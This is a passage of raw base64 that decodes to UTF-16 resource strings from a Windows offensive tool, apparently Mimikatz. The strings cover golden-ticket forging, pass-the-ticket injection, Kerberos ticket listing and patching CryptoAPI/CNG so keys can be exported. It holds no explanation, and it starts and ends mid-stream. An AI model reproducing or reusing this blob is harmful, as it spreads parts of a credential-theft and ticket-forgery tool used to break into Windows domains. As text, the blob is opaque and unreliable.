QAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAdABpAGMAawBlAHQALgBrAGkAcgBiAGkAAAAAAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAAAAAAHUAcwBlAHIAAAAAAAAAAABkAG8AbQBhAGkAbgAAAAAAZABlAHMAAAByAGMANAAAAGsAcgBiAHQAZwB0AAAAAABhAGUAcwAxADIAOAAAAAAAYQBlAHMAMgA1ADYAAAAAAHMAZQByAHYAaQBjAGUAAAB0AGEAcgBnAGUAdAAAAAAAaQBkAAAAAAByAG8AZABjAAAAAAAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAADAAAABzAHQAYQByAHQAbwBmAGYAcwBlAHQAAAA1ADIANQA2ADAAMAAwAAAAZQBuAGQAaQBuAAAAAAAAAHIAZQBuAGUAdwBtAGEAeAAAAAAAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAKAFMASQBEACAAIAAgACAAIAAgACAAOgAgACUAcwAKAFUAcwBlAHIAIABJAGQAIAAgACAAOgAgACUAdQAKAAAAAAAAAAAARwByAG8AdQBwAHMAIABJAGQAIAA6ACAAKgAAAAAAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAAAAAACgBTAGUAcgB2AGkAYwBlAEsAZQB5ADoAIAAAAAAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAAAAAALQA+ACAAVABpAGMAawBlAHQAIAA6ACAAJQBzAAoACgAAAAAAAAAAAAoARwBvAGwAZABlAG4AIAB0AGkAYwBrAGUAdAAgAGYAbwByACAAJwAlAHMAIABAACAAJQBzACcAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHMAdQBiAG0AaQB0AHQAZQBkACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAKAAAAAAAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAEMAcgB5AHAAdABvAFMAeQBzAHQAZQBtACAAZgBvAHIAIABFAFQAWQBQAEUAIAAlAHUAIAAoAGUAcgByAG8AcgAgADAAeAAlADAAOAB4ACkAIAAtACAAQQBFAFMAIABvAG4AbAB5ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABvAG4AIABOAFQANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGsAcgBiAHQAZwB0ACAAawBlAHkAIABhAHIAZwB1AG0AZQBuAHQAIAAoAC8AcgBjADQAIABvAHIAIAAvAGEAZQBzADEAMgA4ACAAbwByACAALwBhAGUAcwAyADUANgApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAUwBJAEQAIABzAGUAZQBtAHMAIABpAG4AdgBhAGwAaQBkACAALQAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAPAAzACAAZQBvAC4AbwBlACAAfgAgAEEATgBTAFMASQAgAEUAPgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAAAgACoAIABQAEEAQwAgAHMAaQBnAG4AZQBkAAoAAAAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGUAbgBjAHIAeQBwAHQAZQBkAAoAAAAgACoAIABLAHIAYgBDAHIAZQBkACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAAAAAACQAqACAAJQBzACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBoAGEAcwBoAF8AZABhAHQAYQAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAGMAbwB1AG4AdAAAAAAAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAAAAAACgAKAEQAYQB0AGEAIAAlAHUAAAAAAAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoACQAqACAAJQB3AFoAIABlAG4AdAByAHkAPwAgACoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABjAGMAYQBjAGgAZQAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAANAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAAoACQAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAAAKAAkAIAAgACAAIAAgAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAAAAAAJAFsALgAuAC4AXQAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAAAAAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaQBuAGkAdABpAGEAbAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAAAAAAGkAbgB2AGEAbABpAGQAAABwAG8AcwB0AGQAYQB0AGUAZAAAAAAAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAAAAAAHAAcgBvAHgAeQAAAAAAAABwAHIAbwB4AGkAYQBiAGwAZQAAAAAAAABmAG8AcgB3AGEAcgBkAGUAZAAAAAAAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAAAAAABuAHUAbABsACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAAAAAAAAZABlAHMAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAAAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAAAAAABkAGUAcwBfAGMAYgBjAF8AbQBkADQAIAAgACAAIAAgACAAAAAAAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1ACAAIAAgACAAIAAgAAAAAAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAAAAAAByAGMANABfAHAAbABhAGkAbgAgACAAIAAgACAAIAAgACAAAAAAAAAAcgBjADQAXwBwAGwAYQBpAG4AMgAgACAAIAAgACAAIAAgAAAAAAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAAAAAAByAGMANABfAGwAbQAgACAAIAAgACAAIAAgACAAIAAgACAAAAAAAAAAcgBjADQAXwBtAGQANAAgACAAIAAgACAAIAAgACAAIAAgAAAAAAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAAAAAAByAGMANABfAGgAbQBhAGMAXwBuAHQAIAAgACAAIAAgACAAAAAAAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0AF8AZQB4AHAAIAAgAAAAAAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAAAAAAByAGMANABfAHAAbABhAGkAbgBfAG8AbABkAF8AZQB4AHAAAAAAAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAIAAgACAAIAAgAAAAAAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAAAAAABhAGUAcwAxADIAOABfAGgAbQBhAGMAXwBwAGwAYQBpAG4AAAAAAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAAAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAAAAAABhAGUAcwAyADUANgBfAGgAbQBhAGMAIAAgACAAIAAgACAAAAAAAAAAdQBuAGsAbgBvAHcAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAAAAAAHMAdABhAHQAdQBzAAAAAABzAGkAbgBnAGwAZQAAAAAAbwBmAGYAAAB0AGUAcwB0AAAAAAAAAAAAYgB1AHMAeQBsAGkAZwBoAHQAAAAAAAAAQgB1AHMAeQBMAGkAZwBoAHQAIABNAG8AZAB1AGwAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBvAGYAZgAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAAABJAE4AUABVAFQARQBWAEUATgBUAAAAAABMAEkARwBIAFQAAAAAAAAAUwBPAFUATgBEAAAAAAAAAEoASQBOAEcATABFAF8AQwBMAEkAUABTAAAAAAAAAAAAQgB1AHMAeQBMAGkAZwBoAHQAIABkAGUAdABlAGMAdABlAGQACgAAAAAAAAAAAAAACgBbACUAMwB1AF0AIAAlAHMACgAgACAAVgBlAG4AZABvAHIAOgAgADAAeAAlADAANAB4ACwAIABQAHIAbwBkAHUAYwB0ADoAIAAwAHgAJQAwADQAeAAsACAAVgBlAHIAcwBpAG8AbgA6ACAAMAB4ACUAMAA0AHgACgAgACAARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIAAgADoAIAAlAHMACgAgACAAQwBhAHAAYQBiAGkAbABpAHQAaQBlAHMAIAAgADoAIAAwAHgAJQAwADIAeAAgACgAIAAAAAAAAAAlAHMALAAgAAAAAAApAAoAAAAAAAAAAAAgACAARABlAHYAaQBjAGUAIABIAGEAbgBkAGwAZQA6ACAAMAB4ACUAcAAKAAAAAAAgACAAIAAgAFMAdABhAHQAdQBzACAAIAAgACAAIAA6ACAAMAB4ACUAMAAyAHgACgAAAAAAAAAAACAAIAAgACAAUAByAG8AZAB1AGMAdABJAGQAIAAgADoAIAAlAFMACgAAAAAAAAAAACAAIAAgACAAQwBvAHMAdAB1AG0AZQByAEkAZAAgADoAIAAlAFMACgAAAAAAAAAAACAAIAAgACAATQBvAGQAZQBsACAAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAAAAAACAAIAAgACAAUwBlAHIAaQBhAGwAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAAAAAACAAIAAgACAATQBmAGcAXwBJAEQAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAAAAAACAAIAAgACAATQBmAGcAXwBEAGEAdABlACAAIAAgADoAIAAlAFMACgAAAAAAAAAAACAAIAAgACAAcwB3AHIAZQBsAGUAYQBzAGUAIAAgADoAIAAlAFMACgAAAAAAAAAAACAAIABLAGUAZQBwAEEAbABpAHYAZQAgAFQAaAByAGUAYQBkADoAIAAwAHgAJQBwACAAKAAlAHUAIABtAHMAKQAKACAAIABXAG8AcgBrAGUAcgAgAFQAaAByAGUAYQBkACAAIAAgADoAIAAwAHgAJQBwACAAKAAlAHUAIABtAHMAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAHQAYQB0AHUAcwAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAAAAAAFsAJQAzAHUAXQAgACUAcwAgACgAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGwAaQBzAHQAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHMAbwB1AG4AZAAAAAAAAABjAG8AbABvAHIAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcwBpAG4AZwBsAGUAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAAAAAABwAHIAbwB2AGkAZABlAHIAcwAAAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAAAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAAAAAAAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAAAAAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAAAAAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAAAAAAAAAAAAAAAAASABhAHMAaAAgAGEAIABwAGEAcwBzAHcAbwByAGQAIAB3AGkAdABoACAAbwBwAHQAaQBvAG4AYQBsACAAdQBzAGUAcgBuAGEAbQBlAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwBOAEcAIABzAGUAcgB2AGkAYwBlACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABjAHIAeQBwAHQAbwAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAAAAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAAAAAAG4AYwByAHkAcAB0AAAAAABOQ3J5cHRPcGVuU3RvcmFnZVByb3ZpZGVyAAAAAAAAAE5DcnlwdEVudW1LZXlzAABOQ3J5cHRPcGVuS2V5AAAATkNyeXB0SW1wb3J0S2V5AE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAAAAAABOQ3J5cHRTZXRQcm9wZXJ0eQAAAAAAAABOQ3J5cHRGcmVlQnVmZmVyAAAAAAAAAABOQ3J5cHRGcmVlT2JqZWN0AAAAAAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATQB5AAAAAAAAAAAAcwB0AG8AcgBlAAAAAAAAAAAAAAAAAAAAIAAqACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAgADoAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoACgAAAAAAKABuAHUAbABsACkAAAAAAAAAAAAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKABmAG8AcgAgAGwAZQBuACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQATwBwAGUAbgBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFMAbwBmAHQAdwBhAHIAZQAgAEsAZQB5ACAAUwB0AG8AcgBhAGcAZQAgAFAAcgBvAHYAaQBkAGUAcgAAAGMAbgBnAHAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAawBlAHkAcwAgADoACgAAAAAACgAlADIAdQAuACAAJQBzAAoAAAAAAAAAIAAgACAAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAAAAAAFUAbgBpAHEAdQBlACAATgBhAG0AZQAAACAAIAAgACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABv